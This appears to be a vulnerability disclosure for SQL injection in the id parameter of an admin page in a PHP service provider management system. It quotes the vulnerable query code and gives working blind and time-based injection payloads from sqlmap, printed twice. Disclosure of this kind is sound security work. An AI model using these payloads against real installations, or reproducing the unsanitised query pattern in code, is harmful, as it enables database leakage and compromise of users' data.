SQL injection vulnerability exists in id parameter of /admin/services/manage_service.php file of Service Provider Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit /admin/index.php and page parameter is 'services/manage_service',it will include /admin/services/manage_service.php,and id parameter can do sql injection.

/admin/index.php

```php
if(!file_exists($page.".php") && !is_dir($page)){
    include '404.html';
}else{
  if(is_dir($page))
    include $page.'/index.php';
  else
    include $page.'.php';

}
```

/admin/services/manage_service.php

```php
<?php
if(isset($_GET['id']) && $_GET['id'] > 0){
    $qry = $conn->query("SELECT * from `service_list` where id = '{$_GET['id']}' ");
    if($qry->num_rows > 0){
        foreach($qry->fetch_assoc() as $k => $v){
            $$k=$v;
```

```
sqlmap identified the following injection point(s) with a total of 441 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=services/manage_service&id=2' AND 8731=8731 AND 'LGLi'='LGLi

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=services/manage_service&id=2' AND (SELECT 5751 FROM (SELECT(SLEEP(5)))FZox)
 AND 'AFNW'='AFNW
---
```

“

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: page=services/manage_service&id=2' AND 8731=8731 AND 'LGLi'='LGLi

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=services/manage_service&id=2' AND (SELECT 5751 FROM (SELECT(SLEEP(5)))FZox) AND 'AFNW'='AFNW

“

Source Download：

https://www.sourcecodester.com/php/16501/service-provider-management-system-using-php-and-mysql-source-code-free-download.html